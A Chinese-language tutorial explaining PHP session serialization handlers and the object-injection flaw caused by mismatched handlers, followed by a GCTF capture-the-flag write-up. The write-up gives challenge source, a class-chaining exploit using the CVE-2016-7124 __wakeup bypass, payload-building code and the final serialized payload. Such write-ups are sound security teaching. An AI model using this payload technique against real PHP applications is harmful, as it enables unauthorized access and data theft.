在php.ini中存在三項配置項：
session.save_path="" --設定session的儲存路徑session.save_handler="" --設定使用者自訂儲存函數，如果想使用PHP內建會話儲存機制之外的可以使用本函數(資料庫等方式)session.auto_start boolen --指定會話模組是否在請求開始時啟動一個會話,預設為0不啟動session.serialize_handler string --定義用來序列化/還原序列化的處理器名字。預設使用php
以上的選項就是與PHP中的Session儲存和序列話儲存有關的選項。
在使用xampp組件安裝中，上述的配置項的設定如下：
session.save_path="D:\xampp\tmp" 表明所有的session檔案都是儲存在xampp/tmp下session.save_handler=files 表明session是以檔案的方式來進行儲存的session.auto_start=0 表明預設不啟動sessionsession.serialize_handler=php 表明session的預設序列話引擎使用的是php序列話引擎
在上述的配置中，session.serialize_handler是用來設定session的序列話引擎的，除了預設的PHP引擎之外，還存在其他引擎，不同的引擎所對應的session的儲存方式不相同。
php_binary:儲存方式是，鍵名的長度對應的ASCII字元+鍵名+經過serialize()函數序列化處理的值
php:儲存方式是，鍵名+豎線+經過serialize()函數序列處理的值
php_serialize(php>5.5.4):儲存方式是，經過serialize()函數序列化處理的值
在PHP中預設使用的是PHP引擎，如果要修改為其他的引擎，只需要添加代碼ini_set('session.serialize_handler', '需要設定的引擎');。範例程式碼如下：
session 的目錄在 /var/lib/php/sessions 中
<?phpini_set('session.serialize_handler', 'php_serialize');session_start();$_SESSION['name'] = 'spoock';var_dump($_SESSION);
在 php_serialize 引擎下，session檔案中儲存的資料為:
a:1:{s:4:"name";s:6:"spoock";}
php 引擎下檔案內容為:
name|s:6:"spoock";
php_binary 引擎下檔案內容為:
names:6:"spoock";
由於name的長度是4，4在ASCII表中對應的就是EOT。根據php_binary的儲存規則，最後就是names:6:"spoock";。(突然發現ASCII的值為4的字元無法在網頁上面顯示，這個大家自行去查ASCII表吧)
PHP Session中的序列化危害
PHP中的Session的實現是沒有的問題，危害主要是由於程式員的Session使用不當而引起的。
如果在PHP在還原序列化儲存的$_SESSION資料時使用的引擎和序列化使用的引擎不一樣，會導致資料無法正確第還原序列化。通過精心構造的資料包，就可以繞過程式的驗證或者是執行一些系統的方法。例如:
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
php檔案如:
<?phpini_set('session.serialize_handler', 'php_serialize');session_start();$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
訪問後得到session檔案中的內容如下：
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
但此時類比在其他頁面使用不同的php引擎來讀取時的內容如下：(預設使用php引擎讀取session檔案)
<?php#ini_set('session.serialize_handler', 'php_serialize');session_start();#$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';class A { public $a = 'aa'; function wakeup() { echo $this->a; }}// var_dump($_SESSION);
訪問該頁面輸出xx
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" }}
這是因為當使用php引擎的時候，php引擎會以|作為作為key和value的分隔字元，那麼就會將 a:1:{s:4:"ryat";s:30:" 作為SESSION的key，將 O:1:"A":1:{s:1:"a";s:2:"xx";} 作為value，然後進行還原序列化，最後就會得到A這個類。
這種由於序列話化和還原序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。漏洞在載入使用php引擎的頁面時session去讀session中的內容並還原序列化導致漏洞觸發，不需要任何輸出
GCTF上的一道session還原序列化漏洞分析:
index.php中內容為:
<?php//error_reporting(E_ERROR & ~E_NOTICE);ini_set('session.serialize_handler', 'php_serialize');header("content-type;text/html;charset=utf-8");session_start();if(isset($_GET['src'])){ $_SESSION['src'] = $_GET['src']; highlight_file(FILE); print_r($_SESSION['src']);}?><!DOCTYPE HTML><html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>代碼審計2</title> </head> <body>
在php中，經常會使用序列化操作來存取資料，但是在序列化的過程中如果處理不當會帶來一些安全隱患。
<form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /></form><a href="./?src=1">查看源碼</a></body></html>
query.php 中的內容為:
/************************//*//query.php 部分代碼session_start();header('Look me: edit by vim ~0~')//......class TOPA{ public $token; public $ticket; public $username; public $password; function login(){ //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){ return 'key is:{'.$this->token.'}'; } }}class TOPB{ public $obj; public $attr; function construct(){ $this->attr = null; $this->obj = null; } function toString(){ $this->obj = unserialize($this->attr); $this->obj->token = $FLAG; if($this->obj->token === $this->obj->ticket){ return (string)$this->obj; } }}class TOPC{ public $obj; public $attr; function wakeup(){ $this->attr = null; $this->obj = null; } function destruct(){ echo $this->attr; }}*/
思路如下:
這題中我們構造一個TOPC，在析構的時候則會調用echo $this->attr;；
將attr賦值為TOPB對象，在echo TOPB的時候會自動調用tostring魔術方法
在tostring中會調用unserialize($this->attr),因為後面用到token和ticket，所以顯然時TOPA對象。後面判斷需要$this->obj->token === $this->obj->ticket,所以在序列化的時候進行指標引用使$a->ticket = &$a->token;，即可繞過判斷。
至於為什麼(string)$this->obj會輸出flag，後台寫的login可能是tostring吧。
其中還原序列化字串中會有一個wakeup()函數清空裡面的參數，我問可以通過一個cve來繞過：CVE-2016-7124。將Object中表示數量的欄位改成比實際欄位大的值即可繞過wakeup函數。
最後的代碼為:
$testa = new TOPA();$testc = new TOPC();$testb = new TOPB();$testa->username = 0;$testa->password = 0;$testa->ticket = &$testa->token;$sa = serialize($testa);$testc->attr = $testb;$testb->attr = $sa;$test = serialize($testc);echo $test;
最終payload為:
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
